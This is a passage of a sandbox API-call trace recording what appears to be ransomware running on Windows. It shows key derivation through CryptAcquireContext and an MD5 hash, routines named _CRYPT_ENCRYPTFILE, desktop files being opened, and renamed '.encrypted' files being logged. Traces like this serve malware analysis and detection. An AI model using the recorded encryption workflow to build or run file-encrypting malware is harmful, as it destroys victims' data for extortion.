[0021.965] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.965] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.965] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.966] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.966] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0021.966] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.966] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.966] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.966] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.966] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.984] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.984] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.984] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0021.984] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.984] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.984] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.987] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.987] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.987] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0021.987] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=304) returned 1 [0021.987] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.987] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0021.987] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0021.987] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x130, lpOverlapped=0x0) returned 1 [0021.987] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0021.987] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.987] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=304) returned 1 [0021.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4\r\n", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0021.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4\r\n", cchWideChar=63, lpMultiByteStr=0xe8f4052170, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4\r\n", lpUsedDefaultChar=0x0) returned 63 [0021.987] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4051040*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051040*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3e, lpOverlapped=0x0) returned 1 [0021.987] CloseHandle (hObject=0x188) returned 1 [0021.989] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.989] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.990] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.990] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.990] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.990] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0021.990] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.990] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0021.991] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0021.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0021.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178520, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0021.991] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0021.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0021.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178520, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0021.991] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0021.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.docx", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0021.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.docx", cchWideChar=49, lpMultiByteStr=0xe8f404ba10, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.docx", lpUsedDefaultChar=0x0) returned 49 [0021.993] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.docx" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\0-0nsqtjx3oqok.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0021.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=49, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 49 [0021.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=49, lpWideCharStr=0xe8f4062330, cchWideChar=49 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.docx") returned 49 [0021.993] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0021.994] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.994] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.994] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0021.994] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0021.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0021.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41786a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0021.994] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0021.994] CloseHandle (hObject=0x188) returned 1 [0021.994] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.995] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.995] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0021.995] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.995] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0021.995] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.995] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.996] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.996] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.996] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.996] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0021.996] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.996] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.996] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0021.996] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.997] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.997] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.997] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.997] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.997] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.997] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.997] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.997] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.997] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.997] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] PeekMessageW (in: 